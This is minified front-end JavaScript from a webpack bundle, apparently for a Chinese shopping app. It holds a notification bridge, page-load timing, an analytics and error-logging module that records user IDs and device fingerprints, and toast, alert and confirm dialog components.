{}; + a = window.pinnotification = function() { + var e = {}, + t = {}, + n = 1; + return { + register: function(a, i, o, s) { + var c = function() { + null != o && o() + }; + if (null == i) + return c(); + var u = n++, + l = function() { + e[a][u] = i, + t[u] = a, + c() + }; + return e[a] ? l() : (e[a] = {}, + r.a.callNative(""JSNotification"", ""register"", { + name: a + }, function() { + l() + }, s)), + u + }, + unregister: function(n, a, i) { + var o = t[n], + s = e[o]; + if (null != s) { + delete s[n], + delete t[n]; + var c = 0; + for (var u in s) + s.hasOwnProperty(u) && c++; + c <= 0 && (delete e[o], + r.a.callNative(""JSNotification"", ""unregister"", { + name: o + }, a, i)) + } else + null != a && a() + }, + send: function(e, t, n, a) { + r.a.callNative(""JSNotification"", ""send"", { + name: e, + payload: t + }, n, a) + }, + message: function(t, n) { + var r = e[t]; + null != r && setTimeout(function() { + for (var e in r) + r[e](n) + }, 0) + } + } + }(), + t.a = a + }, + EhXv: function(e, t, n) { + ""use strict""; + var r = n(""tl7A""), + a = n(""lwsE""), + i = n.n(a), + o = n(""W8MJ""), + s = n.n(o), + c = n(""a1gu""), + u = n.n(c), + l = n(""Nsbk""), + p = n.n(l), + d = n(""7W2i""), + h = n.n(d), + f = n(""q1tI""), + m = n.n(f), + g = function(e) { + function t() { + return i()(this, t), + u()(this, p()(t).apply(this, arguments)) + } + return h()(t, e), + s()(t, [{ + key: ""render"", + value: function() { + return m.a.createElement(""script"", { + dangerouslySetInnerHTML: { + __html: '!function(e,t){var n=e._plt=e._plt||[];n.fs=n.fs||!0;var r=+new Date;n.push([""tm"",""fsn"",r]);var i=t.getElementsByTagName(""img""),a=t.documentElement.clientHeight,o=[],m=""complete""===t.readyState,s=function(){for(var e=0;e0&&a>i&&(r=Math.max(t.time,r))}n.push([""tm"",""fs"",r])};function v(){for(var e=!0,t=0;t 0 && i > a && (r = Math.max(t.time, r)) + } + n.push([""tm"", ""fs"", r]) + }; + + function u() { + for (var e = !0, t = 0; t < o.length; t++) + if (!(e = e && o[t].time)) + return; + c() + } + for (var l = 0; l < a.length; l++) { + var p = a[l]; + !p.complete && p.src && function() { + var e = { + img: p + }, + t = function t(n) { + this.removeEventListener(""load"", t, !1), + this.removeEventListener(""error"", t, !1), + e.time = +new Date, + s && u() + }; + p.addEventListener(""load"", t, !1), + p.addEventListener(""error"", t, !1), + o.push(e) + }() + } + s ? u() : e.addEventListener(""load"", c) + }(window, document) + } + }]), + t + }(f.PureComponent); + n.d(t, ""a"", function() { + return r.a + }), + n.d(t, ""b"", function() { + return g + }); + var v = {}; + v = { + init: function(e) { + function t() { + setTimeout(function() { + return new r.a(e) + }, 0) + } + ""complete"" === document.readyState ? t() : window.addEventListener(""load"", t) + } + }; + t.c = v + }, + F19C: function(e, t, n) { + ""use strict""; + n.d(t, ""a"", function() { + return a + }), + n.d(t, ""b"", function() { + return i + }); + var r = n(""Fcpp""); + + function a(e, t) { + if (!e) + throw new Error(t || ""leoAssertError"") + } + + function i(e, t, n) { + r.a.trackingRecord({ + op: ""real_error"", + error_message: ""6011Error_"" + t, + page: JSON.stringify(n), + page_url: location.href + }) + } + }, + Fcpp: function(e, t, n) { + ""use strict""; + var r = n(""cDf5""), + a = n.n(r), + i = n(""3OdE""), + o = n(""h3qu""), + s = n(""KoDT""), + c = n(""fkZF""), + u = n(""xJ31""), + l = n(""AGSb""), + p = n(""mj+i""), + d = n(""MpJ2""), + h = { + TrackingChannels: [""src"", ""from"", ""campaign"", ""cid"", ""msgid""], + TrackingEvent: { + OpenAddress: ""open_address"", + SkipAppGroup: ""skip_app_group"", + AlertAppDownload: { + Show: ""a_a_d_s"", + Download: ""a_a_d_d"", + Close: ""a_a_d_c"" + } + }, + ReferPageKeys: [""refer_page_name"", ""refer_page_section"", ""refer_page_element"", ""refer_page_id""], + ReferShareKeys: [""refer_share_id"", ""refer_share_uid"", ""refer_share_channel"", ""refer_share_form""], + ReferShareMapShort: { + _sid: ""refer_share_id"", + _suid: ""refer_share_uid"", + _sc: ""refer_share_channel"", + _sf: ""refer_share_form"" + } + }, + f = n(""b9VB""), + m = n(""m7/H""), + g = n.n(m), + v = n(""uf4C""), + _ = n(""hQH6""), + b = n(""YO3V""), + y = n.n(b), + w = n(""lSCD""), + S = n.n(w), + C = n(""Z0cm""), + A = n.n(C), + I = n(""3OWR""), + k = n.n(I), + E = n(""QkVN""), + T = n.n(E), + N = v.a.getInstance(), + x = i.a.constant; + + function O(e) { + var t = e.stack.replace(/\n/gi, """").split(/\bat\b/).slice(0, 5).join(""@"").replace(/\?[^:]+/gi, """"), + n = e.toString(); + return t.indexOf(n) < 0 && (t = n + ""@"" + t), + t + } + + function D() { + var e = []; + return function(t, n) { + if (null != n && ""object"" === a()(n)) { + if (e.indexOf(n) >= 0) + return; + e.push(n) + } + return n + } + } + + function P(e) { + return e && e.replace(/(PDDAccessToken=|AccessToken=|""AccessToken"":)\s*""?([^;,""]+)""?([;,]?\s*)/gi, function(e, t, n, r) { + return """".concat(t).concat(n.length).concat(r) + }) + } + + function R(e) { + var t, n; + return e instanceof Error && (t = e.message, + n = e.stack ? O(e) : """"), { + error_msg: t, + error_stack: n, + Error: e + } + } + g.a.remoteFetching = !1, + g.a.extendToAsynchronousCallbacks(); + var M = function() { + return [Date.now(), Object(c.a)(16)].join("""") + }, + L = function() { + H.isCached || U() + }, + U = function() { + var e = N.getReferPageQuery(); + H.refer = e || {}, + H.hasReferQuery = !!e && ""{}"" !== JSON.stringify(e), + H.isCached = H.hasReferQuery + }, + W = function(e, t) { + var n = N.getPageName() || location.pathname; + F.statisfy && F.statisfy(""4.23.0"", ""4.22.0"", ""greaterThanEqual"") && Object(d.c)(""JSLogger"", ""log"", { + module: n, + message: t, + level: e + }) + }, + B = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = arguments.length > 1 ? arguments[1] : void 0; + if (!(window.__ERROR_SAMPLE_RATE__ && -1 !== [""chat_error"", ""error"", ""real_error""].indexOf(e.op) && Math.random() > window.__ERROR_SAMPLE_RATE__)) { + var n = Object(p.e)(window.location.search); + e = k()({}, e, N.getKeyParams()), + L(), + e.log_id = e.log_id || M(), + e.user_id = e.user_id || function() { + var e = localStorage.getItem(x.LocalStorageKey.UID) || """"; + return e.toString().match(/[0-9]{10}/) ? e : (e ? parseInt(e, 36) : Object(l.a)(x.CookieKey.UID)) || 0 + }(), + e.rk_tag = function() { + var e = Date.now(), + t = Object(c.a)(16), + n = Object(u.a)("""".concat(e).concat(t)); + return """".concat(e).concat(t).concat(n) + }(), + e.uin = e.uin || localStorage.getItem(x.LocalStorageKey.UIN) || Object(l.a)(x.CookieKey.UIN), + e.cookie_fp = Object(l.a)(""_nano_fp""), + e.storage_fp = localStorage.getItem(""_nano_fp""), + e.app_id = e.app_id || (F.platform === o.a.WeChat ? K.AppID.WeChat : F.platform === o.a.Weibo ? K.AppID.Weibo : F.platform === o.a.QQ ? F.isNativePlatform ? K.AppID.QQ : K.AppID.QQConnect : """") || """", + e.time = e.time || e.log_id.substring(0, 13), + e.page_name = e.useExistsParams && e.page_name ? e.page_name : N.getPageName(), + e.page_id = N.getPageID(), + e.page_sn = N.getPageSN(); + var r = localStorage.getItem(""WxCheckPdd""); + null !== r && (e.wx_check_pdd = parseInt(r, 10) || 0), + T()(e, H.refer); + var a = N.getExtendTransferParameters(); + if (T()(e, a), [""pv"", ""click"", ""impr""].indexOf(e.op) >= 0) { + h.TrackingChannels.forEach(function(t) { + var r = ""refer_channel_"" + t; + e[r] = e[r] || n[t] + }), + h.ReferShareKeys.forEach(function(t) { + var r = e[t] || n[t] || n[t.slice(6)]; + r && (e[t] = r) + }); + var i = h.ReferShareMapShort; + for (var s in i) { + var d = e[s] || n[s]; + d && (e[i[s]] = d) + } + } + if (""pv"" === e.op) { + for (var f in n) + n.hasOwnProperty(f) && f && 0 === f.indexOf(""_p_"") && (e[f] = n[f]); + e.event = ""page_show"", + e.page_url = location.href + } + ""1"" === n.is_back && (e.is_back = ""1""), + e.refer_channel_msgid = e.refer_channel_msgid || n.msgid, + delete e.useExistsParams, + J && J.length > 0 && (e = J.reduce(function(e, t, n, r) { + return t(e, n, r) + }, e)), + z.push(e), + G(t) + } + }, + G = function(e) { + if (0 !== z.length) { + for (var t = function() { + var e = z.pop(); + ""epv"" === e.op ? n(e) : setTimeout(function() { + n(e) + }, 0) + }; z.length > 0;) + t(); + e && (F.isNativePlatform || F.isTinyNativePlatform ? Promise.resolve().then(function() { + e() + }) : setTimeout(e, 100)) + } else + e && e(); + + function n(e) { + var t = K.loggingURL, + n = K.logRoutes || {}; + if (window.location && ""https:"" === window.location.protocol && (n = K.httpsLogRoutes, + t = K.httpsLoggingURL), [""chat_error"", ""error"", ""real_error""].indexOf(e.op) < 0 ? (F.isWeChatMiniProgram && !_.a.isGrey({ + name: ""nologMiniProgram"" + }) && (n = {}, + t = K.wxAppLoggingURL), + F.isQQMiniProgram && !_.a.isGrey({ + name: ""nologMiniProgram"" + }) && (n = {}, + t = K.qqAppLoggingURL)) : e.platform = F.platform, + null == e.impr_id) { + var r = n[((e = k()({}, X, e || {})).ad || ""ad"" === e.routeKey) && [""click"", ""impr""].indexOf(e.op) >= 0 ? ""ad"" : e.op] || t; + delete e.routeKey, + window.navigator.sendBeacon && !F.isNativePlatform && (e.support_beacon = 1); + var a = Q(e), + i = a.q, + o = a.entries; + if (""real_error"" == e.op && (e.status_code && (e.payload ? e.payload.status_code = e.status_code : e.payload = { + status_code: e.status_code + }, + delete e.status_code), + e.error_message && (e.error_msg = e.error_message, + delete e.error_message), + e.params && (e.payload ? e.payload.params = e.params : e.payload = { + params: e.params + }, + delete e.params), + e.sub_op && (e.payload ? e.payload.sub_op = e.sub_op : e.payload = { + sub_op: e.sub_op + }, + delete e.sub_op), + e.debug_url && (e.payload ? e.payload.debug_url = e.debug_url : e.payload = { + debug_url: e.debug_url + }, + delete e.debug_url), + e.log_version = ""1.0.0"", + i = JSON.stringify(e)), + F.isNativePlatform || F.isTinyNativePlatform) { + var s = F.statisfy && F.statisfy(""4.45.0"", ""4.33.0"", ""greaterThanEqual"") || F.isTinyNativePlatform; + if (s && o.length > 0) + return void o.forEach(function(e) { + Object(d.c)(""AMAnalytics"", ""send"", { + url: r, + value: e + }).catch(function(e) { + var t = R(e); + console.error(P(JSON.stringify(t, D()))) + }) + }); + if ([""chat_error"", ""error"", ""real_error""].indexOf(e.op) < 0 && s && a.oriParams) + return a.oriParams.use_AMAnalytics = 1, + void Object(d.c)(""AMAnalytics"", ""send"", { + url: r, + value: a.oriParams + }).catch(function(e) { + var t = R(e); + console.error(P(JSON.stringify(t, D()))) + }); + Object(d.c)(""JSNetwork"", ""request"", { + method: ""POST"", + url: r, + headers: { + ""Content-Type"": ""text/plain;charset=UTF-8"" + }, + data: i + }).catch(function(e) { + var t = R(e); + console.error(P(JSON.stringify(t, D()))) + }) + } else { + if (window.navigator.sendBeacon && _.a.isGrey({ + name: ""UseBeaconReport"" + }) && [""pv"", ""click"", ""impr""].indexOf(e.op) >= 0 && window.navigator.sendBeacon(r, i)) + return; + try { + var c; + if (!window.XMLHttpRequest) + return; + (c = new XMLHttpRequest).open(""POST"", r, !0), + c.setRequestHeader(""Content-Type"", ""text/plain;charset=UTF-8""), + c.withCredentials = !0, + c.send(i) + } catch (e) {} + } + } + } + }, + Q = function(e) { + var t = (e = e || {}).items; + if (""string"" == typeof t) + try { + t = JSON.parse(t) + } catch (e) { + console.log(e) + } + if (A()(e.items) && e.items.length > 0) { + t = e.items, + delete e.items; + var n = t.map(function(t, n) { + t && !t.log_id && (t.log_id = M()); + var r = k()({}, e, t); + return [""ad"", ""p_rec""].forEach(function(e, t) { + r[e] && (r[e] = q(r[e])) + }), + r + }), + r = n.reduce(function(e, t) { + var n = Object(p.b)(t); + return """".concat(e).concat(n, ""$"") + }, """"); + return { + q: r = r.slice(0, r.length - 1), + entries: n + } + } + return e.items = q(e.items), { + q: Object(p.b)(e), + oriParams: j(e), + entries: [] + } + }, + j = function(e) { + if (y()(e)) { + var t = {}; + for (var n in e) + ""object"" === a()(e[n]) ? t[n] = JSON.stringify(e[n]) : t[n] = e[n]; + return t + } + return null + }, + q = function(e) { + return e && ""string"" != typeof e ? JSON.stringify(e) : e + }, + V = function() { + var e = Date.now(); + window.addEventListener(""load"", function() { + try { + var e = JSON.stringify($() || {}); + if (B({ + op: ""perf"", + sub_op: ""page_load"", + value: e + }), + window.parent !== window) { + var t = document.referrer; + B({ + op: ""real_error"", + page: ""page been iframed by "" + t, + error_message: ""iframe_injected"", + page_url: location.href + }) + } + } catch (e) { + console.log(e) + } + setTimeout(function() { + (new f.a).send() + }, 0) + }), + F.isNativePlatform || (void 0 !== document.hidden && window.addEventListener(""visibilitychange"", function() { + document.hidden ? B({ + op: ""epv"", + sub_op: ""leave"", + enter_time: e, + time: Date.now() + }) : e = Date.now() + }), + window.addEventListener(""unload"", function() { + B({ + op: ""epv"", + sub_op: ""leave"", + enter_time: e, + close_time: Date.now() + }) + })) + }, + F = Object(s.a)(), + K = i.a.get(location.host), + H = { + isCached: !1, + hasReferQuery: !1, + refer: { + refer_page_id: null, + refer_page_name: null, + refer_page_section: null, + refer_page_element: null + } + }, + z = [], + J = [], + Y = window.onerror; + if (window.onerror = function(e, t, n, r, a) { + if (""function"" == typeof Y && !Y._raw) { + var i = e; + a && a.stack && (i = O(a)), + function(e, t) { + return Object.prototype.toString.call(e) === ""[object "" + (t || ""Object"") + ""]"" + }(i, ""Event"") && (i += i.type ? ""--"" + i.type + ""--"" + (i.target ? i.target.tagName + ""::"" + i.target.src : """") : """"), + Y(i, t, n, r, a) + } + }, + g.a.report.subscribe(function(e) { + var t = """"; + if (e && (t = e.name + "":"" + e.message, + e.stack && e.stack.length)) + for (var n = 0; n < e.stack.length; n++) + t += ""@ "".concat(e.stack[n].func, ""("").concat(e.stack[n].url, "":"").concat(e.stack[n].line, "":"").concat(e.stack[n].column, "")""); + var r = location.search ? location.href + ""&"" + Object(p.b)({ + JS_ERROR: t + }) : location.href + ""?"" + Object(p.b)({ + JS_ERROR: t + }); + B({ + page: e ? e.name + "" "" + e.message + "" "" + JSON.stringify(e.stack) : ""no info"", + op: ""real_error"", + page_url: location.href, + debug_url: r + }) + }), + window.addEventListener(""unhandledrejection"", function(e) { + var t = R(e.reason); + B({ + page: ""unhandledrejection reason:"" + P(JSON.stringify(t, D())), + error_msg: t.error_msg, + op: ""real_error"", + page_url: location.href + }) + }), + location.search) { + var Z = Object(p.e)(location.search); + Z.JS_ERROR && console.error(Z.JS_ERROR.replace(/\)@/g, ""\n)@"")) + } + var X = { + screen_width: window.screen.width, + screen_height: window.screen.height, + dpr: window.devicePixelRatio, + app_version: """", + platform: """" + }, + $ = function() { + var e = window.performance, + t = { + page: {}, + api: [] + }; + if (e && e.timing) { + var n = e.timing, + r = t.page; + r.loadTime = n.loadEventStart - n.fetchStart, + r.domReadyTime = n.domComplete - n.domInteractive, + r.readyStart = n.fetchStart - n.navigationStart, + r.lookupDomainTime = n.domainLookupEnd - n.domainLookupStart, + r.requestTime = n.responseEnd - n.requestStart, + r.initDomTreeTime = n.domInteractive - n.responseEnd + } + return t + }; + X.app_version = F.version, + X.platform = F.isTinyNativePlatform ? o.a.PddAndroid : F.platform === o.a.MaJiaBaoAndroid ? o.a.Unknown : F.platform; + var ee = {}; + ee = { + init: V, + send: B, + info: function(e) { + W(2, e) + }, + warn: function(e) { + W(3, e) + }, + error: function(e) { + W(4, e) + }, + sendPv: function(e, t) { + e = k()({}, e, { + op: ""pv"" + }), + B(e) + }, + addDefaultParams: function(e) { + X = k()({}, X, e) + }, + getLogID: M, + isImprTester: function() { + return !0 + }, + getImprID: function(e) { + return M() + }, + getImprTime: function() { + return 1e3 + }, + initLogger: function() { + V() + }, + trackingRecord: function(e, t) { + null == K.loggingURL || K.loggingURL.length <= 0 || B(e, t) + }, + hasReferQuery: function() { + return H.isCached || L(), + H.hasReferQuery + }, + updateCacheContextInfo: U, + isAdTrackingTester: function(e) { + e + }, + addMiddleware: function(e) { + S()(e) ? J.push(e) : A()(e) && e.forEach(function(e) { + J.push(e) + }) + } + }; + t.a = ee + }, + GTJB: function(e, t, n) { + ""use strict""; + n.d(t, ""a"", function() { + return s + }); + var r = n(""lwsE""), + a = n.n(r), + i = n(""W8MJ""), + o = n.n(i), + s = function() { + function e(t, n) { + a()(this, e), + this.code = t, + this.msg = n + } + return o()(e, [{ + key: ""toString"", + value: function() { + return ""code="" + this.code + "",msg="" + this.msg + } + }]), + e + }(); + s.DefaultCodeMsg = { + code: 500, + msg: ""未定义异常!"" + } + }, + GdyA: function(e, t, n) { + (e.exports = n(""I1BE"")(!1)).push([e.i, "".pin-toast-container {\n display: block;\n position: fixed;\n width: 100%;\n max-width: 768px;\n height: auto;\n top: 50%;\n left: 50%;\n -webkit-transform: translate(-50%, -50%);\n transform: translate(-50%, -50%);\n z-index: 999999999;\n text-align: center;\n pointer-events: none;\n}\n\n.pin-toast {\n display: none;\n position: relative;\n bottom: 32px;\n max-width: 2.5rem;\n min-width: 1rem;\n height: auto;\n margin: 0 auto;\n background-color: rgba(0, 0, 0, 0.8);\n color: #F0F0F0;\n font-size: .16rem;\n line-height: 1.5;\n padding: .12rem .14rem;\n text-align: center;\n border-radius: .06rem;\n}"", """"]) + }, + HT1o: function(e, t, n) { + var r = n(""mKaX""); + ""string"" == typeof r && (r = [ + [e.i, r, """"] + ]); + var a = { + transform: void 0 + }; + n(""aET+"")(r, a); + r.locals && (e.exports = r.locals) + }, + Hxbd: function(e, t, n) { + ""use strict""; + var r = void 0; + r = n(""KshE"").default, + t.a = r + }, + ""ICD/"": function(e, t, n) { + ""use strict""; + n.d(t, ""a"", function() { + return a + }); + var r = n(""x+5E""); + + function a(e, t) { + if (!Object(r.a)(e)) + return t; + var n; + try { + n = JSON.parse(e) || t + } catch (e) { + n = t + } + return n + } + }, + IgcI: function(e, t, n) { + ""use strict""; + n.r(t); + var r = n(""u/J7""), + a = n(""q1tI""), + i = n.n(a), + o = n(""kk8N""), + s = n(""xnWZ""); + n(""vMW4""); + var c = {}, + u = document.createElement(""div""); + u.innerHTML = n(""4Agm""); + var l = u.firstChild; + document.body.appendChild(l), + c = { + show: function(e, t) { + var n = this, + r = document.querySelector("".pin-toast""); + if (null != r) { + void 0 !== t && null != t || (t = {}); + var a = t.showDuration || 2e3; + r.innerHTML = e.replace(/\n/g, ""
    ""), + r.style.display = ""inline-block"", + r.style.opacity = 0, + p.fadeIn(r, { + duration: 300, + complete: function() { + a >= 0 && setTimeout(function() { + n.hide(function() { + null != t.complete && t.complete() + }) + }, a) + } + }) + } + }, + hide: function(e) { + var t = document.querySelector("".pin-toast""); + null != t && p.fadeOut(t, { + duration: 300, + complete: function() { + t.style.display = ""none"", + null != e && e() + } + }) + } + }; + var p = { + fadeIn: function(e, t) { + void 0 !== t && null != t || (t = {}); + var n = 0; + this.animate_({ + duration: t.duration, + step: function(t) { + n += t, + e.style.opacity = n + }, + complete: t.complete + }) + }, + fadeOut: function(e, t) { + void 0 !== t && null != t || (t = {}); + var n = 1; + this.animate_({ + duration: t.duration, + step: function(t) { + n -= t, + e.style.opacity = n + }, + complete: t.complete + }) + }, + animate_: function(e) { + var t = this; + void 0 !== e && null != e || (e = {}), + null == e.duration && (e.duration = 300), + null == e.easing && (e.easing = function(e) { + return t.easing_.linear(e) + }), + e.lastProgress = e.easing(0); + var n = Date.now(), + r = setInterval(function() { + var t = Date.now() - n, + a = e.easing(Math.min(1, t / e.duration)), + i = a - e.lastProgress; + null != e.step && e.step(i), + a >= 1 && (clearInterval(r), + null != e.complete && e.complete()), + e.lastProgress = a + }, 1e3 / 24) + }, + easing_: { + linear: function(e) { + return e + } + } + }, + d = c, + h = n(""b5fu""), + f = n(""3OdE""), + m = n(""i8i4""), + g = n.n(m), + v = n(""u16y""), + _ = n(""ii9O""), + b = n(""19V+""), + y = n(""fhzG""), + w = n.n(y), + S = ""refresh"", + C = ""wait"", + A = ""刷新"", + I = ""{0} s""; + n(""2aGa""); + var k = w()({ + getInitialState: function() { + return { + style: { + display: ""none"" + }, + buttonLabel: """", + imgUrl: v.a.getCDNImgURL(""jsalert/delay_load_icon.png""), + defaultButtonStyle: ""button"", + buttonStyle: ""button"", + seconds: 0 + } + }, + getDefaultProps: function() { + return { + seconds: 0, + visible: !1 + } + }, + componentWillMount: function() { + this.init() + }, + componentDidMount: function() { + this.countDown() + }, + init: function() { + var e = this.props; + this.setState({ + desc: ""多多体力还没有恢复,请稍后重试"", + seconds: e.seconds, + buttonLabel: e.seconds <= 0 ? A : h.a.format(I, e.seconds), + buttonStyle: e.seconds <= 0 ? S : C + }), + e.visible && this.show() + }, + show: function() { + this.setState({ + style: { + display: ""block"" + } + }) + }, + hide: function() { + this.setState({ + style: { + display: ""none"" + } + }), + _.a.reload() + }, + componentWillReceiveProps: function(e) { + !1 === e.visible && this.hide(), !0 === e.visible && this.show() + }, + countDown: function() { + var e; + --this.state.seconds <= 0 ? e = A : (e = h.a.format(I, this.state.seconds), + setTimeout(this.countDown, 1e3)); + var t = this.state.seconds <= 0 ? S : C; + t = [this.state.defaultButtonStyle, t].join("" ""), + b.a.hide(), + this.setState({ + buttonStyle: t, + buttonLabel: e + }) + }, + clickRefresh: function(e) { + e.stopPropagation(), + this.state.seconds > 0 || (this.hide(), + _.a.reload()) + }, + render: function() { + return i.a.createElement(""div"", { + style: this.state.style + }, i.a.createElement(""div"", { + className: ""bg-fill"" + }), i.a.createElement(""div"", { + id: ""delay-load"" + }, i.a.createElement(""img"", { + className: ""head-icon"", + src: this.state.imgUrl + }), i.a.createElement(""div"", { + className: ""desc"" + }, this.state.desc), i.a.createElement(""div"", { + className: this.state.buttonStyle, + onClick: this.clickRefresh + }, this.state.buttonLabel))) + } + }), + E = { + viewLoaded: !1, + seconds: 0, + visible: !1, + show: function() { + this.visible = !0 + }, + hide: function() { + this.visible = !1 + }, + load: function(e) { + e = e || {}, + this.seconds = e.seconds, + this.visible = !0, + this.viewLoaded || (g.a.render(i.a.createElement(k, { + seconds: this.seconds, + visible: this.visible + }), document.body), + this.viewLoaded = !0) + } + }, + T = n(""lwsE""), + N = n.n(T), + x = n(""W8MJ""), + O = n.n(x), + D = n(""a1gu""), + P = n.n(D), + R = n(""Nsbk""), + M = n.n(R), + L = n(""PJYZ""), + U = n.n(L), + W = n(""7W2i""), + B = n.n(W); + n(""17x9""); + ""undefined"" != typeof window && n(""q0Ap""); + var G = r.default, + Q = function(e) { + function t(e) { + var n; + return N()(this, t), (n = P()(this, M()(t).call(this, e))).state = { + isVisible: !0 + }, + n.close = n.close.bind(U()(n)), + n + } + return B()(t, e), + O()(t, [{ + key: ""componentDidMount"", + value: function() { + !this.props.noDisablePullReload && s.b.isNativePlatform() && o.a.callNative(""JSUIControl"", ""disablePullReload""), + this.props.noDisableScroll || G.disableScroll(this.props.disableScrollExceptionId) + } + }, { + key: ""close"", + value: function() { + !this.props.noDisablePullReload && s.b.isNativePlatform() && o.a.callNative(""JSUIControl"", ""enablePullReload""), + this.props.noDisableScroll || G.enableScroll(), + this.setState({ + isVisible: !1 + }), + this.props.onClose && this.props.onClose() + } + }, { + key: ""render"", + value: function() { + var e = this, + t = { + display: this.state.isVisible ? """" : ""none"", + zIndex: this.props.fixedContainerZIndex || """" + }, + n = i.a.Children.map(this.props.children, function(t) { + return i.a.cloneElement(t, { + close: e.close + }) + }); + return i.a.createElement(""div"", { + className: ""modal-popup"", + style: t + }, i.a.createElement(""div"", { + className: ""modal-popup-content "" + this.props.verticalAlignClass + }, n), i.a.cloneElement(this.props.backdropElement, { + close: this.close + })) + } + }]), + t + }(i.a.Component); + ""undefined"" != typeof window && n(""20zl""); + var j = function(e) { + function t(e) { + var n; + return N()(this, t), (n = P()(this, M()(t).call(this, e))).state = {}, + n.onOkButtonClick = n.onOkButtonClick.bind(U()(n)), + n + } + return B()(t, e), + O()(t, [{ + key: ""onOkButtonClick"", + value: function() { + var e = this.props.onOk; + this.props.close && this.props.close(), + e && e() + } + }, { + key: ""render"", + value: function() { + var e = this.props, + t = e.okButtonLabel, + n = void 0 === t ? ""确定"" : t, + r = e.title, + a = void 0 === r ? """" : r, + o = e.text, + s = void 0 === o ? """" : o; + return i.a.createElement(""div"", { + className: ""default-alert-content-wrapper"" + }, i.a.createElement(""div"", { + className: ""detail"", + id: ""alert-default-v3-detail"" + }, !!a && i.a.createElement(""div"", { + className: ""title"" + }, a), !!s && i.a.createElement(""div"", { + className: ""desc"" + }, s)), i.a.createElement(""div"", { + className: ""buttons"" + }, i.a.createElement(""div"", { + className: ""button"", + onClick: this.onOkButtonClick + }, n))) + } + }]), + t + }(i.a.Component); + + function q(e) { + return i.a.createElement(""div"", { + className: ""default-alert-bg-fill"" + }) + } + var V = function(e) { + return i.a.createElement(Q, { + onClose: e.onClose, + fixedContainerZIndex: 10002, + disableScrollExceptionId: ""alert-default-v3-detail"", + backdropElement: i.a.createElement(q, null) + }, i.a.createElement(j, e)) + }; + ""undefined"" != typeof window && n(""20zl""); + var F = function(e) { + function t(e) { + var n; + return N()(this, t), (n = P()(this, M()(t).call(this, e))).state = {}, + n.onConfirmButtonClick = n.onConfirmButtonClick.bind(U()(n)), + n.onCancelButtonClick = n.onCancelButtonClick.bind(U()(n)), + n + } + return B()(t, e), + O()(t, [{ + key: ""onConfirmButtonClick"", + value: function() { + var e = this.props.onConfirm; + this.props.close && this.props.close(), + e && e() + } + }, { + key: ""onCancelButtonClick"", + value: function() { + var e = this.props.onCancel; + this.props.close && this.props.close(), + e && e() + } + }, { + key: ""render"", + value: function() { + var e = this.props, + t = e.confirmButtonLabel, + n = void 0 === t ? ""确定"" : t, + r = e.cancelButtonLabel, + a = void 0 === r ? ""取消"" : r, + o = e.title, + s = void 0 === o ? """" : o, + c = e.text, + u = void 0 === c ? """" : c; + return i.a.createElement(""div"", { + className: ""default-confirm-content-wrapper"" + }, i.a.createElement(""div"", { + className: ""detail"", + id: ""confirm-default-v3-detail"" + }, !!s && i.a.createElement(""div"", { + className: ""title"" + }, s), !!u && i.a.createElement(""div"", { + className: ""desc"" + }, u)), i.a.createElement(""div"", { + className: ""buttons buttons-confirm"" + }, i.a.createElement(""div"", { + className: ""button"", + onClick: this.onCancelButtonClick + }, a), i.a.createElement(""div"", { + className: ""button"", + onClick: this.onConfirmButtonClick + }, n))) + } + }]), + t + }(i.a.Component); + + function K(e) { + return i.a.createElement(""div"", { + className: ""default-confirm-bg-fill"" + }) + } + var H = function(e) { + return i.a.createElement(Q, { + onClose: e.onClose, + fixedContainerZIndex: 10002, + disableScrollExceptionId: ""confirm-default-v3-detail"", + backdropElement: i.a.createElement(K, null) + }, i.a.createElement(F, e)) + }; + + function z(e) { + var t = e, + n = (t.type, + t.props); + var r = document.createElement(""div""), + a = null; + return document.body.appendChild(r), + e = i.a.cloneElement(e, { + onClose: function() { + n.onClose && n.onClose(), + a || (a = setTimeout(function() { + g.a.unmountComponentAtNode(r), + document.body.removeChild(r), + r = null + }, 0)) + } + }), { + componentReference: g.a.render(e, r) + } + } + var J = f.a.constant, + Y = { + showToast: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : """", + t = arguments.length > 1 ? arguments[1] : void 0; + e.length <= 0 || (s.b.isNativePlatform() ? o.a.callNative(""JSAlert"", ""toast"", { + message: e + }) : d.show(e, { + showDuration: t + })) + }, + showAlert: function(e, t, n, r, a) { + s.b.isModuleVersion ? o.a.callNative(""JSAlert"", ""showAlert"", { + text: e, + title: r || """", + ok_label: n || ""确定"" + }, t) : setTimeout(function() { + alert(e), + h.a.call(t) + }, 0) + }, + showAlert2: function(e) { + var t = e.text, + n = e.title, + r = e.onOk, + a = e.okButtonLabel; + s.b.isModuleVersion ? o.a.callNative(""JSAlert"", ""showAlert"", { + text: t, + title: n || """", + ok_label: a || ""确定"" + }, r) : this.showAlertPopup({ + title: n, + text: t, + onOk: r, + okButtonLabel: a + }) + }, + showConfirm: function(e, t, n, r, a, i) { + s.b.isModuleVersion ? o.a.callNative(""JSAlert"", ""showAlert"", { + text: e, + title: i || """", + ok_label: r || ""确定"", + cancel_label: a || ""取消"" + }, function(e) { + 0 == e.index ? h.a.call(t) : h.a.call(n) + }) : setTimeout(function() { + confirm(e) ? h.a.call(t) : h.a.call(n) + }, 0) + }, + showConfirm2: function(e) { + var t = e.title, + n = e.text, + r = e.onConfirm, + a = e.onCancel, + i = e.confirmButtonLabel, + c = e.cancelButtonLabel; + s.b.isModuleVersion ? o.a.callNative(""JSAlert"", ""showAlert"", { + title: t || """", + text: n || """", + ok_label: i || ""确定"", + cancel_label: c || ""取消"" + }, function(e) { + 0 == e.index ? h.a.call(r) : h.a.call(a) + }) : this.showConfirmPopup({ + title: t, + text: n, + onConfirm: r, + onCancel: a, + confirmButtonLabel: i, + cancelButtonLabel: c + }) + }, + showAlertPopup: function(e) { + var t = e.title, + n = e.text, + r = e.onOk, + a = e.okButtonLabel; + z(i.a.createElement(V, { + title: t, + text: n, + onOk: r, + okButtonLabel: a + })) + }, + showConfirmPopup: function(e) { + var t = e.title, + n = e.text, + r = e.onConfirm, + a = e.onCancel, + o = e.confirmButtonLabel, + s = e.cancelButtonLabel; + z(i.a.createElement(H, { + title: t, + text: n, + onConfirm: r, + onCancel: a, + confirmButtonLabel: o, + cancelButtonLabel: s + })) + }, + delayLoad: function(e) { + var t = Date.now(); + if (null == e) { + var n = localStorage.getItem(J.LocalStorageKey.DelayLoadTimestamp); + null != n && (n = parseInt(n, 10)) > t && (e = parseInt((n - t) / 1e3, 10)) + } + return null != e && 